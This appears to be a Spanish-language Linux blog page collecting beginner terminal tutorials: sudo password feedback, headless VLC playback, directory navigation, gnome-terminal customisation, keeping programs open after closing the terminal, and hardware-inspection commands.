Mostrando entradas con la etiqueta Terminal. Mostrar todas las entradas
Mostrando entradas con la etiqueta Terminal. Mostrar todas las entradas

lunes, 14 de abril de 2014

Asteriscos al escribir la contraseña en la terminal

Por defecto aparecen asteriscos al poner la contraseña en la pantalla de acceso o al ejecutar programas gráficos con permisos de root - por ejemplo a partir de Alt+f2 y gksu -, y en cambio no aparecen en la terminal al poner la contraseña, sino que parece que no se esté escribiendo nada; esto último desconcierta a los recién llegados y ocasiona numerosas preguntas al respecto.
Se supone que el comportamiento en la terminal es por motivos de seguridad - que nadie que esté a tu lado vea ni siquiera cuantos signos tiene la contraseña, si esta mirando la pantalla, pero esto no impide que pueda saberlo si lo que mira es tu mano tecleando la contraseña - , pero si somos los únicos que usamos el pc, este comportamiento tal vez sea exagerado.
La idea es que tanto en la pantalla de login, en la ejecución con alt+f2 y gksu , como en la terminal se tenga el mismo criterio de seguridad: aparecen los asteriscos cuando ponemos la contraseña de root.

Hacer que aparezcan asteriscos en la terminal cuando se pone la contraseña:
Abrir, y ejecutar en la terminal la línea de comandos:
sudo gedit /etc/sudoers
en el archivo de texto que se abre, en la primera línea donde aparece
Defaults env_reset
sustituirla por:
Defaults env_reset , pwfeedback
Guardar los cambios y cerrar tanto el archivo de texto como la terminal.
La próxima vez que se ponga la contraseña en la terminal aparecen asteriscos.

Si se quiere volver al estado por defecto - que no salga nada cuando se pone la contraseña - se vuelve a editar el archivo /etc/sudoers y se deshacen los cambios.
------------------------

Por defecto la contraseña introducida por sudo tiene una validez de 15 minutos, durante los cuales se pueden ejecutar programas que normalmente requieren la contraseña de root, sin que te la pida, pero complementariamente a lo indicado en este tema, se puede cambiar esto y hacer que la pida siempre que ejecutamos algún programa con permisos de root , aunque ejecutemos dos programas de root uno a continuación de otro ( por ejemplo Synaptic, y luego terminal de root, etc ); ver:  Hacer que siempre pida la contraseña

viernes, 7 de marzo de 2014

Videolan (VLC): Oir archivos de audio mp3 u ogg, desde la linea de comandos

Una función "oculta" de Videolan-vlc es la de poder reproducir los archivos .mp3 que haya en un directorio, ( por ejemplo en el directorio /home/usuario/Musica ) sin usar la interfaz gráfica de este reproductor multimedia, ya que al instalar el programa Videolan junto con la interfaz gráfica también viene un comando - cvlc - que ejecuta el programa sin necesidad de ella.
Para ello hay que ejecutar en la terminal una linea de comandos similar a:
screen cvlc /home/usuario/Musica/*.mp3 ( Debemos antes instalar el comando screen desde Synaptic, como se explica en el tema: Cerrar la terminal sin que se cierre la terminal )
( Ver mas abajo lo que debemos hacer antes de ejecutar dicha línea de comandos)
y se abre  una ventana similar a esta:


( Para que nos sea mas fácil de recordar y ejecutar, podemos transformar esta linea de comandos en un "alias" - alias cvlc='screen cvlc /home/usuario/Musica/*.mp3' - , tal y como se indica en el tema Crear nuestra propia lista de comandos
 
Una vez ejecutada se empezara a reproducir los .mp3 que estén en el directorio que se haya indicado en la línea de comandos ( en el ejemplo: /home/usuario/Musica), y podremos cerrar la terminal, sin que por ello dejen de oírse, ya que cvlc se seguirá ejecutando en segundo plano.
De esta forma podemos escuchar música de fondo sin que ningún programa gráfico nos interfiera nuestro trabajo con otras cosas.

De forma similar podemos usar este sistema para ejecutar los archivos de audio del tipo: .mp3 , . ogg , .opus , ( y los archivos de vídeo del tipo .mpg, .vob , .avi , aunque no veo la ventaja de reproducir vídeos sin la interfaz gráfica de Videolan )
-------------------------------------------------------
Antes de ejecutar la linea de comandos que inicia cvlc, para poder configurar algunos atajos de teclado que nos vendrán bien para controlar la reproducción de los archivos de sonido sin la interfaz gráfica, debemos abrir Videolan->Herramientas->Preferencias->Atajos de teclado,( ver Videolan atajos de teclado)  y configurar los atajos de teclado en la columna Global de forma que queden, por ejemplo:

Reproducir/pausar                                   ctrl+mayusc+space (barra espaciadora)
Archivo siguiente (next)                           ctrl+mayusc+n
Archivo previo                                          ctrl+mayusc+p
Subir volumen                                          ctrl+mayusc+up (flecha hacia arriba)
Bajar volumen                                          ctrl+mayusc+down (flecha hacia abajo)
Silenciar (mute)                                        ctrl+mayusc+m
Salir (quite)                                               ctrl+mayusc+q



Ahora tras ejecutar la linea de comando que ejecuta cvlc se oirán los archivos .mp3, y con las teclas arriba indicadas se podrá controlar la ejecución de los archivos.

-----------------------------------------------------------------------------------------------------------------------------

De modo gráfico, desde el Monitor del Sistema (gnome-system-monitor) ->pestaña Procesos se puede elegir el proceso vlc y detenerlo, reiniciarlo, o finalizarlo, con un click en el botón derecho del ratón, con lo que respectivamente se dejara momentáneamente de oir los archivos .mp3 , se volverán a oir, y finalmente se dejaran de oir definitivamente.



jueves, 10 de octubre de 2013

Viajando por los directorios con la terminal

El uso de la terminal es muchas veces muy útil para ejecutar comandos, o para abrir/editar archivos, cambiar permisos de archivos, etc y para ello es necesario saber como ir viajando a través de ella por el árbol de directorios de todo el sistema. Para ello debemos saber: a) si estamos en una terminal de usuario o en una con permisos de root b) como pasar de una con permisos de usuario a una con permisos de root c) saber la diferencia entre la dirección relativa y la dirección absoluta de un directorio d) comandos importantes que ayudan a viajar con la terminal por el árbol de directorios e) viajar desde la terminal por el árbol de directorios ( Puede ser interesante leer el tema Árbol de directorios) f) solucionar algunos errores a la hora de escribir la dirección de un directorio.

A) Saber si estamos en una terminal de usuario, o en una terminal de root:

Terminal con permisos de usuario: Cuando abrimos la terminal de usuario (El comando para abrir la terminal desde alt+f2 es: gnome-terminal) , la línea que siempre se abre en nuestra terminal se denomina prompt ; tiene el siguiente aspecto: nicasio@mint15:~$
Está compuesta por:
- nombre de usuario, en este ejemplo: nicasio
- símbolo @
- nombre del equipo, en este ejemplo: mint15
- dos puntos :
- símbolo ~ , que equivale a la propia carpeta personal del usuario en cuestión: en este ejemplo, /home/nicasio
( Si necesitamos escribir el símbolo ~ se obtiene con la combinación de teclas AltGr+4 )
- símbolo del dolar $

-- Desde el administrador de archivos ( tanto si usamos Nautilus o Nemo ) , estando en un directorio cualquiera, podemos con el botón derecho del ratón elegir la opción "abrir en la terminal", con lo que se abrirá la terminal, no en el directorio del usuario, sino en el directorio desde el que se seleccionó esa opción. Por ejemplo, si hacemos lo indicado desde el directorio ~/Musica en la terminal aparece el prompt: nicasio@mint15 ~/Musica $

Terminal con permisos de root: Si cambiamos a una terminal de root (como se indica mas abajo), en el prompt solo apareceran tres componentes:  mint15 ~#
Es decir solo aparecen:
- nombre del equipo: mint15,
- símbolo ~  que ahora equivale al directorio /root
- el símbolo $ cambiará a #


B) Como pasar de una terminal de usuario a una de root, y viceversa:

Pasar de una terminal con permisos de usuario a tener permisos de root: el comando que se tiene que escribir es: sudo -i
Al darle a la tecla intro la terminal pide la contraseña, la escribes, pero no se verá lo que escribes, ni asteriscos ni nada de nada, sin embargo está realmente escribiendo cuando termines de escribir la contraseña le das de nuevo a la tecla "intro" y si la contraseña es correcta verás que en el prompt el signo $ cambia a  # . Eso quiere decir que tienes privilegios de root.

Lo normal, es acceder a la terminal como root solo para hacer algo en concreto que requiera los permisos de root, y luego volver a la terminal con permisos de usuario, para cerrarla a continuación.

Pasar de una terminal con permisos de root a tener permisos de usuario: Es muy importante no cerrar la terminal como root, porque con este comando te quedas como root sin limite de tiempo, así que antes de cerrar la terminal debes escribir el comando  exit y darle a la tecla intro, verás entonces que en el prompt el signo # vuelve a convertirse en $, es decir hemos pasado de la terminal con permisos de root de nuevo a la terminal con permisos de usuario.

Aquí vemos lo que irá apareciendo en la terminal según vamos haciendo lo arriba indicado:  en verde se ve como se pasa de una terminal con permisos de usuario ( nicasio@mint15 ~ $ ) a una con permisos de root (mint15 ~# ) ; en azul se ve como se pasa de una terminal de root ( mint15 ~# ) a una de usuario ( nicasio@mint15 ~ $ ) .
nicasio@mint15 ~ $ sudo -i
[sudo] password for nicasio:
mint15 ~# exit
logout
nicasio@mint15 ~ $

C) Dirección relativa y absoluta de un directorio:

Para viajar por el árbol de directorios con la terminal debemos indicar la dirección en la que esta el directorio al que queremos llegar. Hay dos tipos de direcciones: la completa o absoluta, y la relativa.

- Dirección completa o absoluta: Las rutas absolutas se caracterizan por empezar siempre desde la raíz, es decir desde  /, y contener todos los directorios que hay desde la raíz hasta el directorio que queremos indicar, sólo es posible escribir de una forma una ruta absoluta. Se puede usar se este donde se este, tanto si abre la terminal desde el directorio del usuario, o si se abre desde cualquier otro, y con ella se puede llegar a cualquier directorio, tanto si es un subdirectorio de /home/usuario , como si es cualquier otro directorio, tanto si es un directorio o subdirectorio del disco duro interno en el que esta instalado el sistema, como si es de un pendrive, tarjeta de memoria, disco duro externo, etc que se montan en /media .
Otra cosa es que una vez que se esta en el directorio que deseamos, para ejecutar en él ciertos comandos, tendremos que o bien anteponer sudo delante del comando para que se ejecute con permisos de root, o bien ejecutar sudo -i para pasar a una terminal con permisos de root, como se explicó anteriormente..
Usar la dirección absoluta nunca falla, salvo que no se halla escrito correctamente, y para ello hay que tener en cuenta que cualquier sistema GNU / Linux distingue entre mayúsculas y minúsculas, y palabras con o sin acento. No es lo mismo musica, música, Música, o  Musica. Éste último es el nombre de un directorio de mi carpeta de usuario.

Ejemplos de direcciones absolutas son por ejemplo:
/home/nicasio/Musica/Beatles
/var/cache/apt/archives
/media/nicasio/mi_disco/fotos

- Dirección relativa: En cambio las rutas relativas nunca empiezan por la raiz  / y puede haber varias rutas relativas para el mismo directorio que queremos indicar. Esto es así por que la ruta relativa depende del directorio en el que se esté trabajando, ya que señalan la ubicación de un archivo o  directorio a partir de la posición actual en el árbol de directorios. Es una ruta que parte del directorio actual como origen. Esta ruta sólo es válida desde el directorio que en se esté en un momento concreto , es decir es relativa a ese directorio. Mas abajo se ven ejemplos de direcciones relativas.

Si abrimos la terminal en un directorio-a , desde el administrador de archivos, como se explico anteriormente, y el directorio-b al que queremos llegar es un subdirectorio del directorio-a, podemos usar la dirección relativa. Si el directorio-b no es un subdirectorio del directorio-a , deberemos usar la dirección absoluta.

D) Comandos que nos ayudan a viajar por el árbol de directorios: comandos: ls, pwd, whoami, cd

- Comando ls ( hacer un LiStado ) : desde la terminal el comando ls que te saca un listado con el nombre de los subdirectorios del directorio desde el que se ejecuta. Muy útil para saber que subdirectorios hay en el directorio en el que se está en ese momento en la terminal. Con el comando ls se nos muestra un listado de los subdirectorios y archivos que contiene el directorio; si solo queremos ver los subdirectorios usamos:  ls -d */
- Comando pwd (de las siglas en inglés print working directory = imprimir directorio de trabajo): nos indica el directorio en el que nos encontramos en la terminal; útil si nos hemos perdido y no sabemos donde estamos en el viaje a lo largo del árbol de directorios.
- Comando whoami ( who am I ? = ¿ quién soy yo ? ): nos indica el nombre de usuario
- Comando cd ( change directory = cambiar directorio ): sirve para cambiar de directorio; es el comando con el que propiamente hacemos el viaje por el árbol de directorios.


E) Viajar a través de la terminal por el árbol de directorios:

Estando en un directorio cualquiera podemos ir a otro mediante el comando cd, usando con la sintaxis: cd dirección_del_directorio , pudiéndose usar la dirección absoluta o la relativa.
Por ejemplo, si estamos en ~ y queremos ir al subdirectorio Musica, podemos escribir: cd Musica (dirección relativa ) o cd /home/nicasio/Musica (dirección absoluta )
Otro ejemplo, si estamos en el directorio /opt y queremos ir al mismo directorio, esta vez solo podremos hacerlo usando la dirección absoluta, ya que Musica no es un subdirectorio de /opt; escribimos por tanto: cd /home/nicasio/Musica
Si estamos en el directorio /opt y queremos ir al subdirectorio /opt/spotify/spotify-client/Icons, podemos usar la dirección absoluta: cd /opt/spotify/spotify-client/Icons , o la dirección relativa: cd spotify/spotify-client/Icons

Para volver desde un directorio cualquiera al directorio ~ ( carpeta personal del usuario ), basta con escribir el comando cd  , sin necesidad de añadir ninguna dirección.

F) Solucionar algunos errores a la hora de escribir la dirección de un directorio:

= Errores de ortografía: Hay que tener en cuenta que cualquier sistema GNU / Linux distingue entre mayúsculas y minúsculas, y palabras con o sin acento. No es lo mismo musica, música, Música, o  Musica. Éste último es el nombre de un directorio de mi carpeta de usuario.

= Para ir a un directorio con nombre de dos o mas palabras separadas por un espacio vacio, por ejemplo /home/usuario/mis fotos ( este tipo de directorio suele ser uno creado por nosotros mismos como un subdirectorio de la carpeta de usuario ), si intentamos entrar en él con: cd mis fotos , no deja ya que sale este error: bash: cd: mis: No existe el archivo o el directorio ( osea en realidad el comando cd ha buscado y no encontrado el directorio correspondiente a la primera palabra del directorio, en este caso: mis ).

Hay tres formas de solucionar este asunto.
-- Usar comillas: Poniendo cd nombre del directorio entre comillas: con  cd "mis fotos" si que se entra en el directorio.
nicasio@mint15 ~ $ cd "mis fotos"
nicasio@mint15 ~/mis fotos $
-- Autocompletar el nombre: Otro método es poner el comando cd, luego la primera palabra del nombre del directorio, y a continuación y antes de pulsar la tecla enter, pulsar la tecla tab, para que se autocomplete la sentencia;  de forma que en el ejemplo quedaría:
nicasio@mint15 ~ $ cd mis\ fotos/   Ahora pulsamos enter y entramos ya en el directorio
nicasio@mint15 ~/mis fotos $
-- Cambiar el nombre: otra forma de solucionar el asunto es obviamente cambiar el nombre del directorio de forma que no contenga espacios vacíos, por ejemplo en vez de mis fotos, llamarlo mis_fotos, mis-fotos, o misfotos

= Para comprobar que los nombres de las carpetas predeterminadas de tu usuario son las habituales, hazlo con la siguiente línea de comandos en la terminal:
gedit /home/tu_usuario/.config/user-dirs.dirs
Editando ese archivo puedes modificarlas a tu gusto. Podría darse el caso de que un directorio, por ejemplo el directorio Escritorio no se llame así, sino Desktop, porque por algún motivo esté en inglés, en cuyo caso no lo encontrarías con el comando habitual: cd Escritorio, sino con: cd Desktop .
Este es mi archivo /home/nicasio/.config/user-dirs.dirs ( en color turquesa la parte del archivo que podemos editar )

# This file is written by xdg-user-dirs-update
# If you want to change or add directories, just edit the line you're
# interested in. All local changes will be retained on the next run
# Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped
# homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an
# absolute path. No other format is supported.
#
XDG_DESKTOP_DIR="$HOME/Escritorio"
XDG_DOWNLOAD_DIR="$HOME/Descargas"
XDG_TEMPLATES_DIR="$HOME/Plantillas"
XDG_PUBLICSHARE_DIR="$HOME/Publico"
XDG_DOCUMENTS_DIR="$HOME/Documentos"
XDG_MUSIC_DIR="$HOME/Musica"
XDG_PICTURES_DIR="$HOME/Imagenes"
XDG_VIDEOS_DIR="$HOME/Videos"

El nombre de los directorios de la carpeta de usuario aparecen en color turquesa  tras "$HOME/  , y al escribirlos en la terminal no hay que ponerlos con comillas: Escritorio, Descargas, Plantillas, Publico, Documentos, Musica, Imagenes, Videos

Si se ha modificado el archivo ~.config/user-dirs.dirs , para que los cambios tengan lugar, además de guardar los cambios en el archivo y cerrar éste, se debe salir de la sesión gráfica y volver a entrar en ella.

---------------------------------
Editado/Añadido:

Por defecto al ejecutar la terminal se inicia en el directorio /home/usuario:
usuario@mint17 ~ $

Si por algún motivo queremos que siempre se inicie desde otro subdirectorio de /home/usuario, por ejemplo en /home/usuario/Musica , añadimos la siguiente linea:
cd Musica ( ruta relativa ) al archivo /home/usuario/.bashrc , guardamos los cambios realizados en el archivo, y la próxima vez que iniciemos la terminal nos aparecerá:
usuario@mint17 ~/Musica $

Si lo que queremos es que la terminal siempre se inicie desde un directorio que no sea subdirectorio de /home/usuario, hay que poner la ruta completa hacia ese directorio, por ejemplo cd /var/cache/apt/archives, y lo que nos saldrá al ejecutar la terminal será:
nicasio@mint17 /var/cache/apt/archives $

martes, 4 de septiembre de 2012

Editando la terminal

La terminal, ( ese "odioso" programa que sirve para ejecutar comandos exotéricos -  bueno eso es lo que pensaba cuando empecé a usar linux  ) que se usa por defecto en Gnome ( en realidad el paquete/programa se llama gnome-terminal ) se puede configurar desde su Barra de Menús:
Editar: - Editar perfiles  - Editar combinaciones de teclas  - Editar preferencias del perfil

A partir de esos tres puntos de inicio del viaje de configuración de la terminal se abren distintas ventanas gráficas que te permiten configurar la terminal a tu gusto.

- Editar perfiles: aparece una ventana en la que aparecen los perfiles que haya ( por defecto solo aparece el perfil Default ) y un botón para crear un nuevo perfil y otro botón para editar el perfil seleccionado, y un último botón para eliminar perfiles; si abres la opción editar perfil se abre la misma pantalla de Editar Preferencias de Perfil explicada mas abajo.

Desde esta página podemos crear un nuevo perfil, por ejemplo "terminal en escritorio" que podremos editar a continuación.



- Editar combinaciones de teclas: eliges una acción y con un click puedes asignarle una nueva combinación de teclas



- Editar preferencias del perfil: Se abre una ventana con seis pestañas (General - Titulo y Comando - Colores - Fondo - Desplazamiento -Compatibilidad ) que permite editar muchas opciones del perfil elegido.

- pestaña General: se puede configurar el nombre del perfil, la tipografía, mostrar o no la barra de menús, forma del cursor

- pestaña Titulo y Comando: podemos modificar el titulo de la terminal, y el modo como se ejecutan los comandos

- pestañas Colores, Fondo y Desplazamiento: permiten elegir los colores de las letras, y del fondo la ventana; usar un fondo sólido, una imagen de fondo o un fondo transparente y su grado de transparencia; y la situación de la barra de desplazamiento y su  comportamiento o su ausencia.

- pestaña Compatibilidad: mejor no tocar nada en ella salvo que sea necesario y se sepa lo que se hace.



Editar el tamaño de la terminal, cuando esta desmaximizada: Tecleamos Alt+F2 y tecleamos el comando alacarte, con lo que se abre el Editor del Menú de Aplicaciones; buscamos el Elemento correspondiente a la terminal y en Propiedades, en la parte correspondiente a Comando ponemos: gnome-terminal --geometry=119x24 ( siendo 119 la anchura y 24 la altura de la ventana de la terminal )

Podemos editar de igual forma el comando que lance la terminal en cualquier otro sitio desde el que podamos iniciar una terminal, por ejemplo en un enlace en el escritorio.

-------------------------------------
Se puede obtener mas información sobre la terminal por defecto de Gnome, tecleando en la terminal el comando: man gnome-terminal

------------------------------------

* Se pueden usar otras terminales distintas a la que viene por defecto en Gnome, por ejemplo: tilda, xterm, konsole . También se puede tener una terminal integrada en Nautilus: para ello hay que añadir un ppa e instalar el paquete nautilus-terminal:
sudo add-apt-repository ppa:flozz/flozz
sudo apt-get update && sudo apt-get install nautilus-terminal
y posteriormente ejecutar: nautilus -q para cerrar la versión de Nautilus que teníamos abierta, sin la terminal integrada, y volver a iniciar el administrador de archivos: ejecutando en la terminal el comando nautilus, para que esta vez se abra el administrador de archivos ya con la terminal integrada.


Ahora tendremos una terminal integrada en Nautilus, que se puede configurar a partir del icono seleccionada en rojo en la imagen siguiente, que abre las Preferencias de la terminal integrada, y entre las que se pueden modificar: iniciar la termina de forma visible u oculta, ver o no la barra de desplazamiento, la altura predeterminada de la terminal, la forma del cursor, el color del texto y del fondo, la tipografía de las letras, mostrar la terminal en todas las carpetas o solo en las carpetas que seleccionemos.



-------------------------------------------------

Terminal Transparente:

Por razones estéticas quizás queramos tener una terminal que nos deje ver lo que hay debajo, ya sea solamente cuando estamos en el escritorio o cuando estamos ejecutando cualquier aplicación gráfica y no queremos que la terminal nos tape alguna zona de dicha aplicación. Para ello podemos o bien editar la terminal que viene por defecto en Gnome, o bien instalar una terminal especial (Tilda).

Editando la terminal por defecto ( Gnome-Terminal ): tal y como se indica arriba podemos crear un perfil de terminal que tenga las siguientes características:

- No mostrar la barra de menús
- Con fondo transparente
- No mostrar la barra de desplazamiento
- Con un tamaño a la medida que queramos de la ventana en su estado desmaximizado.
- Una vez creado este perfil podemos hacer que se autoinicie al entrar en la sesión gráfica añadiendo el comando correspondiente en Sistema-Preferencias-Aplicaciones al inicio.

De esta forma al iniciar la sesión de usuario se autoiniciará una terminal transparente, del tamaño que hayamos elegido, sobre el escritorio, que dejara ver la imagen de éste, de forma que siempre tengamos a mano la terminal.

Aunque podamos ver  iconos de enlaces a aplicaciones debajo de dicha terminal, si hacemos click sobre ellos no se lanzaran dichas aplicaciones, ya que en realidad no estaríamos activando dichos iconos sino haciendo clic sobre la terminal, por lo que lo mas conveniente es no poner ningún tipo de icono o enlace a aplicación o archivo.

Instalando la terminal Tilda: El paquete tilda instala una terminal un poco especial: la primera vez que se ejecuta se abre su programa de configuración: entre lo que se puede configurar es que aparezca siempre, es decir tanto en el escritorio como sobre cualquier aplicación que es ejecute, y que lo haga de forma que tenga transparencia para que no deje de verse ninguna zona gráfica de la aplicación gráfica sobre la que se ejecuta.
De esta forma podemos tener una terminal transparente en el escritorio, y también sobre cualquier programa, es decir por ejemplo podemos estar navegando y a la vez tener la terminal a mano.



Podemos añadir tilda a Sistema-Preferencias-Aplicaciones al Inicio para que se ejecute desde el inicio de la sesión.

------------------------------------------------

viernes, 16 de septiembre de 2011

Cerrar la terminal sin que se cierre el programa ejecutado con ella

Muchas veces si ejecutamos desde la terminal el archivo ejecutable de un programa gráfico, si una vez que se ha ejecutado el programa cerramos la terminal, también se cierra dicho programa. En este tema doy algunas soluciones para ejecutar desde la terminal el programa gráfico sin que éste se cierre después de cerrar la terminal que lo ejecutó.

1- Si queremos ejecutar desde la terminal un programa sin permisos de root, con: comando & exit : por ejemplo para ejecutar gedit con la terminal y que se cierre automáticamente la terminal, pero se mantenga abierto el programa gedit: gedit & exit. Lo dicho anteriormente es para ejecutar un programa que no requiera permisos de root


2- Si queremos ejecutar desde la terminal un programa con permisos de root (para el cual se necesita poner la contraseña de root , por ejemplo synaptic ) y queremos que se mantenga dicho programa después de cerrar la terminal, lo que tendríamos que poner en la terminal no es: sudo comando & exit, ya que con eso lo que pasa es que se cierra automáticamente la terminal sin dejar poner la contraseña y por lo tanto sin ejecutarse el programa; deberíamos poner en la terminal: gksu comando & exit , por ejemplo: gksu synaptic & exit , con lo cual se cierra automáticamente la terminal, pero se abre una ventana en la que nos pide la contraseña de root, y tras ponerla se abre el programa synaptic.

3-Si lo que quieres es ejecutar un programa con la terminal para ver en esta los posibles mensajes de error, lo dicho no sirve, ya que la terminal se autocierra sin dejar ver mensajes de error; en este caso lo que habría que hacer es:
– ejecutar el programa con la terminal ( en este caso da igual si es sin o con permisos de root, es decir se hará lo mismo si ponemos: comando, o gksu comando , sin: & exit)
– una vez abierto el programa, y leído los mensajes que hayan salido en la terminal, poner el cursor del ratón sobre la terminal, para que esta sea el proceso activo, y teclear:
teclas: ctrl+z ( con lo que volverá al prompt )
comando: bg
tecla: intro
comando: disown
tecla intro
y por último teclas Mayusc+Ctrl+Q para cerrar la terminal
Con todo ello el programa permanecerá abierto pero habremos cerrado la terminal desde la que se ejecuto el programa.

------------------------------------

Añadido 02-06-2011 :


Creo que con esta linea de comando mas o menos “universal” se puede solucionar todos los casos:
nohup gksu comando & exit

si el comando no requiere permisos de root no ponemos gksu
si no queremos que se autocierre la terminal, no ponemos & exit; y una vez leido el mensaje que salga en la terminal la podemos cerrar bien con el ratón o con la combinación Mayusc+Ctrl+Q


-------------------------------------

Añadido (2-12-2011 ) :

He encontrado un comando (screen ) que sirve para los tres casos, por lo que es mas fácil de recordar su uso :

screen comando por ejemplo: screen gedit : abre gedit, y podemos cerrar la terminal sin que se cierre gedit

screen sudo comando por ejemplo: screen sudo synaptic : nos pide la contraseña, luego abre synaptic, e igualmente podemos cerrar la terminal sin que se cierre synaptic

En ambos casos mientras se ejecuta el programa podemos ir viendo mensajes de error, si los hubiera, en la terminal.

Se puede usar de la misma forma el comando byobu ( byobu gedit ; byobu sudo synaptic )

( Obviamente hay que tener instalados los paquete screen y/o byobu )

------------------------------------------------------------------------

jueves, 31 de marzo de 2011

Conocer el hardware con la terminal

Algunos detalles del hardware del pc se pueden conseguir a base de teclear comandos en la terminal, y nos pueden servir de ayuda para solventar problemas o al menos empezar a buscar una solución a alguno de ellos: montar particiones, cd, dvd, arreglar problemas de sonido,  etc

Aquí he puesto algunos, no pretendo que esta sea una lista exhaustiva, seguro que me dejo algunos, o muchos...si queréis contribuir a aumentar la lista...

sudo dmidecode -t bios muestra información sobre la bios

uname -a para comprobar la versión del kernel que estamos usando en esta sesión

uname -m para sabe si el sistema linux instalado es de 32 o de 64 bits


Los posibles resultados y su significado son los siguientes:

i686: tenemos instalada la versión de 32 bits.

x86_64: tenemos instalada la versión de 64 bits.

sudo dpkg - -get-selections | grep linux-image Para comprobar las versiones del kernel que tenemos instaladas

lsusb Información sobre los puertos usb y lo que tengamos conectados a ellos


lspci : Muestra dispositivos conectados por bus PCI

lspci | grep -i vga Para obtener información sobre que tarjeta gráfica tengo instalada

aplay -l Para saber qué modelo de tarjeta de sonido tengo

lspci | grep -i audio Listamos los dispositivos de audio conectados al sistema en el bus pci: La salida nos dará la identificación de las tarjetas de sonido

cat /proc/asound/cards Ver cuál es el número que da ALSA (Advanced Linux Sound Architecture) a la tarjeta de audio , nos devolverá, entre otros datos (en mi caso):

0 [Intel ]: HDA-Intel - HDA Intel

La que funcionará por defecto será la tarjeta de audio número 0, pero podemos tener más tarjetas, numeradas, numeradas como 1, 2, etc.

cat /proc/asound/modules Vemos el módulo que utiliza la tarjeta de sonido

cat /proc/asound/version Vemos la version de la tarjeta de sonido

cat /proc/asound/card0/codec#* | grep Codec Para saber que modelo de chip tiene la tarjeta de sonido

head -n 1 /proc/asound/card*/codec#* Vemos los codecs que usa la tarjeta de sonido


==> /proc/asound/card0/codec#0 <==
Codec: Realtek ALC268

==> /proc/asound/card0/codec#1 <==
Codec: Motorola Si3054

hwinfo : Programa que nos crea un informa sobre el hardware presente en nuestro sistema

sudo lshw ( y sudo lshw -C ) : Con esa orden aparece un extenso y detallado listado con las características técnicas de la máquina en la que se ejecute. Como el listado resultante es muy largo se puede acotar a un área concreta, mediante el parámetro "-C"  . Si se instala el paquete lshw-gtk se obtiene un programa gráfico (ejecutarlo con: sudo lshw-gtk ) equivalente al commado.
Ejemplos:
Acotar al procesador:
sudo lshw -C processor

Acotar a los discos duros:
sudo lshw -C disk

Acotar a la memoria RAM:
sudo lshw -C memory

Acotar a la tarjeta de sonido:
sudo lshw -C sound

Acotar a los dispositivos de conexión a Internet:
sudo lshw -C communication

ls -l /dev/cd* Información sobre el dispostivo /dev correspondiente al el lector y grabadora de cd, que nos puede servir para editar el archivo /etc/fstab y montar dichos dispositivos.

lrwxrwxrwx 1 root root 3 2010-09-30 15:18 /dev/cdrom -> sr0
lrwxrwxrwx 1 root root 3 2010-09-30 15:18 /dev/cdrw -> sr0

ls -l /dev/dvd* Información sobre el dispositivo /dev  correspondiente al lector y grabadora de dvd, que nos puede servir para editar el archivo /etc/fstab y montar dichos dispositivos.

lrwxrwxrwx 1 root root 3 2010-09-30 15:18 /dev/dvd -> sr0
lrwxrwxrwx 1 root root 3 2010-09-30 15:18 /dev/dvdrw -> sr0

blkid: Este comando no sólo nos permite conocer el UUID de un dispositivo sino que, como información adicional, nos muestra el tipo de partición.

df: El  comando que nos permite conoce el espacio libre en un disco

df -T: Nos permite también saber el tipo de cada partición

sudo fdisk -l Nos da información sobre todos los discos duros que tengamos, y sobre todas las particiones

mount Nos da información solo sobre las particiones que tengamos montadas en el momento de ejecutar dicho comando

glxinfo | grep direct Nos dice si tenemos o no aceleración gráfica: con el mensaje: direct rendering: Yes ( o Not )

curl icanhazip.com Para averiguar tu IP pública

iwconfig Para información sobre la tarjeta de red wifi

dmesg da información general sobre errores en nuestro sistema. Si ha habido algún error en el arranque del sistema, dmesg nos informará de  algún detalle con respecto a esto. El comando dmesg nos informa de casi todo: los mensajes de error presentados no tienen por qué afectar de forma grave al funcionamiento del sistema.

dmesg | tail nos informa de los últimos errores detectados.

dmesg | grep -i xxx Las “x” deben ser sustituidas por la palabra que deseamos buscar en el  informe de errores. Por ejemplo, si sólo deseamos buscar errores relacionados con nuestras conexiones usb, ejecutaríamos la orden dmesg | grep -i usb.

inxi -Fxn nos da en una sola pantalla un resumen del hardware de nuestro sistema.

———————---------------------------------------------------------------——

viernes, 12 de febrero de 2010

Terminal: usos varios

Naturalmente este tema no pretende ni de lejos explicar todo lo que se puede hacer con la terminal, solo dar unas ideas para abrir el apetito y empezar a usar esta aplicación temida por los recién iniciados.

Para manejarse bien con la Terminal pueden ser útiles estas teclas:

ctrl + a
Mueve el cursor al principio de la linea.
ctrl + e
Mueve el cursor al final de la linea.
ctrl + d
Cierra la terminal.
ctrl + r
Te permite hacer una búsqueda entre tus últimos comandos ejecutados. Esta función busca en la medida que escribes, desplegando los comandos que presentan coincidencias en los caracteres tecleados. Para revisar los comandos coincidentes se debe continuar presionando ctrl+r las veces que sea necesario. Una vez encontrado el comando buscado se puede presionar Enter, lo que hará que le comando se ejecute. Presionar Esc, por otra parte, finalizará la búsqueda y pegara el comando en el terminal. ctrl+c, en cambio, cancelará la búsqueda.
ctrl + l
Limpia la pantalla.
ctrl + c
Limpia la linea de comandos de cualquier cosa que hayas tecleado en ella. También sirve en el momento de ingresar a tu cuenta en caso de que te equivoques al escribir tu clave.
ctrl + u
Limpia lo escrito en la línea de comandos, desde el comienzo de la linea hasta la posición actual.
ctrl + k
Limpia lo escrito en la línea de comandos, desde la posición actual hasta el final de la línea.
ctrl + w
Borra la palabra posicionada antes del cursor o en caso de que éste su ubique en una palabra borra el principio de ella.
alt + d
Corta la palabra bajo el cursor y lo envía a un buffer.
ctrl + y
Inserta el contenido del buffer (ver alt + d).
alt + f
Avanza hacia ls siguiente palabra.
alt + b
Retrocede una palabra.
ctrl + s
Detiene el despliegue en consola. El proceso, sin embargo, continua corriendo.
ctrl + q
Resume el despliegue de la consola antes pausado con <ctrl> + s.
ctrl + shift + c
Copia el texto seleccionado.
ctrl + shift + v
Pega texto copiado.

Ejecutar comandos,scripts y programas en línea de comandos,etc: es el uso mas obvio de la terminal, pero no el único. En linux hay muchos comandos, scripts y comandos en línea que vienen de serie ya instalados con el sistema, pero además puedes crear tus propios scripts o bajarte varios de ellos. A lo largo de este blog, en varios temas, se habla del uso de scripts, comandos, programas en línea, para hacer tal o cual cosa...busca información sobre ello en el recuadro de Buscar.

Se pueden obtener scripts muy útiles desde:
http://g-scripts.sourceforge.net/
http://nautilus-scripts.javielinux.com/index.php
http://gnome-look.org/index.php?xsortmode=high&page=0&xcontentmode=188

